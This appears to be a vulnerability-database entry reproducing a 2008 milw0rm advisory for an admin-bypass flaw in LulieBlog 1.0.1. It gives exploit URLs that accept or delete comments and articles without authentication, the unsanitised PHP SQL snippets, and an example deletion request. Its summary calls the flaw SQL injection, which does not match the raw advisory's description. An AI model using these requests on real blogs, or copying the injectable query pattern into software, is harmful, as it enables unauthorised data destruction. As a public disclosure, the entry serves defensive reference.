LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability

vendor:

LulieBlog

by:

ka0x

7.5

CVSS

HIGH

Remote Admin Bypass

CWE

Product Name: LulieBlog

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:lulieblog:lulieblog:1.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability

The bug will allow an attacker to accept sent comments in the articles, erase comments and delete articles. The vulnerability is caused by the lack of proper input validation in the comment_accepter.php, comment_refuser.php and article_suppr.php scripts, which allows an attacker to inject malicious SQL queries. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL queries to the vulnerable scripts.

Mitigation:

Input validation should be implemented to prevent malicious SQL queries from being injected into the vulnerable scripts.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: <ka0x01[at]gmail.com>
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download: http://www.comscripts.com/scripts/php.lulieblog.2138.html

Description:
- The bug will allow us to acept sent comments in the articles,
erase comments and delete articles


accept comments:
http://[host]/Admin/comment_accepter.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="UPDATE ".PREFIX_TABLES."commentaire  SET actif = 1 WHERE idcom  = '$id'";
------------------


delete comments:
http://[host]/Admin/comment_refuser.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."commentaire WHERE idcom  = '$id'";
------------------


delete article:
http://[host]/Admin/article_suppr.php?id=[id_article]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."article WHERE numart='$id'";
------------------


example:
---------
http://localhost/lulieblog/Admin/article_suppr.php?id=4
Delete the article with id=4

# milw0rm.com [2008-01-15]